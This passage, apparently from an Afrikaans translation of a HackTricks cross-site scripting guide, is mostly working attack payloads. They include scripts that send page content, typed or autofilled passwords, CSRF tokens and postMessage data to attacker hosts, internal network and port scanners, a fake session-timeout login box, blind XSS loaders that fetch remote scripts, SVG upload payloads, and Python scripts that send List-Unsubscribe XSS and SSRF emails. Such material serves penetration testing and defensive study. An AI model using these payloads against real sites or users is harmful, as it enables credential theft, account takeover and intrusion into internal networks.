Steel bladsyinhoud
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)
Vind interne IP-adresse
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}
function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})
setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>
Port Scanner (fetch)
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
Port Scanner (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
Korter tye dui op ’n reagerende poort Langere tye dui op geen reaksie nie.
Hersien die lys van poorte wat in Chrome geblokkeer is here en in Firefox here.
Boks om vir credentials te vra
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
Vaslegging van outomaties ingevulde wagwoorde
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
Wanneer enige data in die password-veld ingevoer word, word die username en password na die attackers server gestuur; selfs as die kliënt ’n saved password kies en niks tik nie, sal die credentials ex-filtrated word.
Hijack form handlers to exfiltrate credentials (const shadowing)
Indien ’n critical handler (bv., function DoLogin(){...}) later op die bladsy verklaar word, en jou payload vroeër uitgevoer word (bv., via ’n inline JS-in-JS sink), definieer eers ’n const met dieselfde naam om die handler voor te wees en te vergrendel. Later function declarations kan nie ’n const-naam rebind nie, wat jou hook in beheer laat:
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};
Aantekeninge
- Dit is afhanklik van die uitvoerorde: jou injection moet uitgevoer word voordat die regmatige deklarasie.
- As jou payload in
eval(...)toegedraai is, salconst/letbindings nie globals word nie. Gebruik die dinamiese<script>injection technique uit die afdeling “Deliverable payloads with eval(atob()) and scope nuances” om ’n ware global, nie-rebindable binding te verseker. - Wanneer keyword filters kode blokkeer, kombineer dit met Unicode-escaped identifiers of
eval(atob('...'))delivery, soos hierbo getoon.
Keylogger
Net deur op github te soek het ek ’n paar verskillende gevind:
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- Jy kan ook metasploit
http_javascript_keyloggergebruik
Stealing CSRF tokens
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
Diefstal van PostMessage-boodskappe
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
PostMessage-origin script loaders (opener-gated)
As ’n bladsy stoor event.origin van ’n postMessage en dit later by ’n script-URL voeg, beheer die sender die origin van die opgelaaide JS:
window.addEventListener('message', (event) => {
if (event.data.msg_type === 'IWL_BOOTSTRAP') {
localStorage.setItem('CFG', {host: event.origin, pixelID: event.data.pixel_id});
startIWL(); // later loads `${host}/sdk/${pixelID}/iwl.js`
}
});
Eksploitasie resep (from CAPIG):
- Gates: vuurt slegs wanneer
window.openerbestaan enpixel_idis allowlisted; origin is never checked. - Use CSP-allowed origin: pivot na ’n domein wat reeds deur die slagoffer se CSP toegelaat word (bv. logged-out help pages allowing analytics like
*.THIRD-PARTY.com) en host daar/sdk/<pixel_id>/iwl.jsvia takeover/XSS/upload. - Restore
opener: in Android WebView maakwindow.name='x'; window.open(target,'x')die bladsy sy eie opener; stuur die kwaadwilligepostMessagevanaf ’n gehijackte iframe. - Trigger: die iframe posts
{msg_type:'IWL_BOOTSTRAP', pixel_id:<allowed>}; die parent laai dan die attackeriwl.jsvanaf die CSP-allowed origin en voer dit uit.
Dit verander origin-less postMessage validasie in ’n remote script loader primitive wat CSP oorleef as jy op enige origin kan land wat reeds deur die beleid toegelaat word.
Supply-chain stored XSS via backend JS concatenation
Wanneer ’n backend builds a shared SDK by concatenating JS strings with user-controlled values, kan enige quote/structure breaker script inject wat aan elke consumer bedien word:
- Voorbeeldpatroon (Meta CAPIG): die server plak
cbq.config.set("<pixel>","IWLParameters",{params: <user JSON>});direk incapig-events.js. - Deur
'of"]}in te voeg sluit jy die literal/object en voeg attacker JS by, wat stored XSS skep in die verspreide SDK vir elke site wat dit laai (first-party and third-party).
Stored XSS in generated reports when escaping is disabled
As opgelaaide lêers geparseer word en hul metadata in HTML-verslae uitgegee word met escaping gedeaktiveer (|safe, custom renderers), is daardie metadata ’n stored XSS sink. Voorbeeldvloei:
xmlhost = data.getAttribute(f'{ns}:host')
ret_list.append(('dialer_code_found', (xmlhost,), ()))
'title': a_template['title'] % t_name # %s fed by xmlhost
’n Django-sjabloon gee {{item|key:"title"|safe}} weer, sodat aanvaller-HTML uitgevoer word.
Exploit: plaas entity-encoded HTML in enige manifest/config-veld wat by die verslag uitkom:
<data android:scheme="android_secret_code"
android:host="<img src=x onerror=alert(document.domain)>"/>
Gerender met |safe, die verslag gee <img ...> uit en ontlok JS wanneer dit besigtig word.
Opsporing: kyk na verslag-/kennisgewing-konstruktors wat geparsde velde hergebruik in %s/f-strings en auto-escape uitskakel. Een geënkodeerde tag in ’n opgelaaide manifest/log/archive laat XSS vir elke kyker voortduur.
Abusing Service Workers
Accessing Shadow DOM
Polyglots
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt
Blind XSS payloads
Jy kan ook gebruik maak van: https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
'"><img src="x" onerror="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- Input tag with autofocus -->
'"><input autofocus onfocus="eval(atob(this.id))" id="Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw==">
<!-- In case jQuery is loaded, we can make use of the getScript method -->
'"><script>$.getScript("{SERVER}/script.js")</script>
<!-- Make use of the JavaScript protocol (applicable in cases where your input lands into the "href" attribute or a specific DOM sink) -->
javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4LnNyYz0ne1NFUlZFUn0vc2NyaXB0LmpzJztkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKHgpOw=="))
<!-- Render an iframe to validate your injection point and receive a callback -->
'"><iframe src="{SERVER}"></iframe>
<!-- Bypass certain Content Security Policy (CSP) restrictions with a base tag -->
<base href="{SERVER}" />
<!-- Make use of the meta-tag to initiate a redirect -->
<meta http-equiv="refresh" content="0; url={SERVER}" />
<!-- In case your target makes use of AngularJS -->
{{constructor.constructor("import('{SERVER}/script.js')")()}}
Regex - Toegang tot Versteekte Inhoud
Uit this writeup kan mens leer dat selfs al verdwyn sekere waardes uit JS, dit steeds moontlik is om hulle in JS attributes in verskillende objects te vind. Byvoorbeeld, ’n input van ’n REGEX kan steeds gevind word nadat die waarde van die input van die regex verwyder is:
// Do regex with flag
flag = "CTF{FLAG}"
re = /./g
re.test(flag)
// Remove flag value, nobody will be able to get it, right?
flag = ""
// Access previous regex input
console.log(RegExp.input)
console.log(RegExp.rightContext)
console.log(
document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
)
Brute-Force Lys
Auto_Wordlists/wordlists/xss.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub
XSS Misbruik van ander kwesbaarhede
XSS in Markdown
Kan jy Markdown-kode injekteer wat gerender sal word? Miskien kan jy XSS kry! Kyk:
XSS to SSRF
Het jy XSS op ’n site wat caching gebruik? Probeer dit na SSRF opgradeer deur Edge Side Include Injection met hierdie payload:
<esi:include src="http://yoursite.com/capture" />
Use it to bypass cookie-restrictions, XSS-filters en nog veel meer!
More information about this technique here: XSLT.
XSS in dinamies geskepte PDF
As ’n webblad ’n PDF skep met gebruiker-beheerde insette, kan jy probeer om die bot wat die PDF skep, te mislei om arbitrêre JS-kode uit te voer.
As die PDF creator bot sekere HTML tags vind, sal dit dit interpreteer, en jy kan hierdie gedrag misbruik om ’n Server XSS te veroorsaak.
As jy nie HTML-tags kan inspuit nie, kan dit die moeite werd wees om te probeer om PDF-data in te spuit:
XSS in Amp4Email
AMP, bedoel om die prestasie van webbladsye op mobiele toestelle te versnel, inkorporeer HTML-tags wat met JavaScript aangevul word om funksionaliteit te verseker met ’n klem op spoed en sekuriteit. Dit ondersteun ’n reeks komponente vir verskillende funksies, beskikbaar via AMP components.
Die AMP for Email formaat brei spesifieke AMP-komponente na e-posse uit, wat ontvangers toelaat om direk binne hul e-posse met inhoud te interaksioneer.
Voorbeeld writeup XSS in Amp4Email in Gmail.
List-Unsubscribe Header Misbruik (Webmail XSS & SSRF)
Die RFC 2369 List-Unsubscribe header inkorporeer aanvallers-beheerde URIs wat baie webmail- en mail-kliente outomaties na “Unsubscribe”-knoppies omskakel. Wanneer daardie URIs gerender of sonder validering gevra word, word die header ’n injeksiepunt vir beide stored XSS (as die unsubscribe-skakel in die DOM geplaas word) en SSRF (as die server die unsubscribe-versoek namens die gebruiker uitvoer).
Stored XSS via javascript: URIs
- Stuur jouself ’n e-pos waar die header na ’n
javascript:URI wys terwyl die res van die boodskap onskuldig bly sodat spamfilters dit nie verwyder nie. - Verseker dat die UI die waarde render (baie kliënte wys dit in ’n “List Info” paneel) en kontroleer of die resulterende
<a>tag aanvallers-beheerde attribuutlike sooshrefoftargetoorneem. - Lok uitvoering uit (bv. CTRL+click, middle-click, of “open in new tab”) wanneer die skakel
target="_blank"gebruik; browsers sal die verskafde JavaScript evalueer in die oorsprong van die webmail toepassing. - Let op die stored-XSS primitive: die payload bly by die e-pos en vereis slegs ’n klik om uitgevoer te word.
List-Unsubscribe: <javascript://attacker.tld/%0aconfirm(document.domain)>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
Die newline-byte (%0a) in die URI wys dat selfs ongewone karakters die rendering-pyplyn in kwesbare kliënte soos Horde IMP H5 oorleef, wat die string letterlik binne die anchor-tag uitset.
Minimale SMTP PoC wat 'n kwaadwillige List-Unsubscribe header lewer
```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessagesmtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” sender = “list@example.org” recipient = “victim@example.org”
msg = EmailMessage() msg.set_content(“Testing List-Unsubscribe rendering”) msg[“From”] = sender msg[“To”] = recipient msg[“Subject”] = “Newsletter” msg[“List-Unsubscribe”] = “javascript://evil.tld/%0aconfirm(document.domain)” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”
with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)
</details>
#### Bedienerkant-afmeld-proxies -> SSRF
Sommige kliënte, soos die Nextcloud Mail-app, stuur die afmeld-aksie via die bediener: deur op die knoppie te klik, beveel dit die bediener om die verskafde URL self op te haal. Dit verander die header in 'n SSRF-primitive, veral wanneer administrateurs `'allow_local_remote_servers' => true` stel (gedokumenteer in [HackerOne report 2902856](https://hackerone.com/reports/2902856)), wat versoeke na loopback- en RFC1918-reekse toelaat.
1. **Skep 'n e-pos** waar `List-Unsubscribe` mik op 'n aanvalleerder-beheerde eindpunt (vir blind SSRF gebruik Burp Collaborator / OAST).
2. **Hou `List-Unsubscribe-Post: List-Unsubscribe=One-Click`** sodat die UI 'n een-klik afmeld-knoppie wys.
3. **Voldoen aan vertrouensoestande**: Nextcloud, byvoorbeeld, voer slegs HTTPS-afmeldversoeke uit wanneer die boodskap DKIM deurstaan, so die aanvaller moet die e-pos onderteken met 'n domein wat hulle beheer.
4. **Lewer die boodskap aan 'n posbus wat deur die teiken-bediener verwerk word** en wag totdat 'n gebruiker die afmeld-knoppie klik.
5. **Bewaak die bedienerkant-terugroep** by die collaborator endpoint, en pivot dan na interne adresse sodra die primitive bevestig is.
```text
List-Unsubscribe: <http://abcdef.oastify.com>
List-Unsubscribe-Post: List-Unsubscribe=One-Click
DKIM-ondertekende List-Unsubscribe boodskap vir SSRF-toetsing
```python #!/usr/bin/env python3 import smtplib from email.message import EmailMessage import dkimsmtp_server = “mail.example.org” smtp_port = 587 smtp_user = “user@example.org” smtp_password = “REDACTED” dkim_selector = “default” dkim_domain = “example.org” dkim_private_key = “”“—–BEGIN PRIVATE KEY—–\n…\n—–END PRIVATE KEY—–”“”
msg = EmailMessage() msg.set_content(“One-click unsubscribe test”) msg[“From”] = “list@example.org” msg[“To”] = “victim@example.org” msg[“Subject”] = “Mailing list” msg[“List-Unsubscribe”] = “http://abcdef.oastify.com” msg[“List-Unsubscribe-Post”] = “List-Unsubscribe=One-Click”
raw = msg.as_bytes() signature = dkim.sign( message=raw, selector=dkim_selector.encode(), domain=dkim_domain.encode(), privkey=dkim_private_key.encode(), include_headers=[“From”, “To”, “Subject”] ) msg[“DKIM-Signature”] = signature.decode().split(“: “, 1)[1].replace(”\r“, “”).replace(“\n”, “”)
with smtplib.SMTP(smtp_server, smtp_port) as smtp: smtp.starttls() smtp.login(smtp_user, smtp_password) smtp.send_message(msg)
</details>
**Toetsnotas**
- Gebruik 'n OAST endpoint om blind SSRF hits te versamel, en pas dan die `List-Unsubscribe` URL aan om na `http://127.0.0.1:PORT`, metadata services of ander interne hosts te mik sodra die primitive bevestig is.
- Omdat die unsubscribe helper dikwels dieselfde HTTP stack as die toepassing hergebruik, erf jy sy proxy settings, HTTP verbs en header rewrites, wat verdere traversal tricks moontlik maak soos beskryf in die [SSRF methodology](../ssrf-server-side-request-forgery/README.md).
### XSS oplaai van lêers (svg)
Laai 'n lêer as beeld op, soos die volgende (van [http://ghostlulz.com/xss-svg/](http://ghostlulz.com/xss-svg/)):
```html
Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,<body><script>document.body.style.background="red"</script>hi</body>" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x" /></svg>
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' ><image href='1' onerror='alert(1)' /></svg>#x" />
Vind meer SVG payloads in https://github.com/allanlw/svg-cheatsheet
Diversse JS-wenke & Relevante Inligting
Misc JS Tricks & Relevant Info
XSS hulpbronne
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20injection
- http://www.xss-payloads.com https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt https://github.com/materaj/xss-list
- https://github.com/ismailtasdelen/xss-payload-list
- https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec
- https://netsec.expert/2020/02/01/xss-in-2020.html
- https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide
Verwysings
- Turning a harmless XSS behind a WAF into a realistic phishing vector
- XSS and SSRF via the List-Unsubscribe SMTP Header in Horde Webmail and Nextcloud Mail
- HackerOne Report #2902856 - Nextcloud Mail List-Unsubscribe SSRF
- From “Low-Impact” RXSS to Credential Stealer: A JS-in-JS Walkthrough
- MDN eval()
- CAPIG XSS: postMessage origin trust becomes a script loader + backend JS concatenation enables supply-chain stored XSS
- MobSF stored XSS via manifest analysis (unsafe Django safe sink)
Tip
Leer en oefen AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Leer en oefen Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.


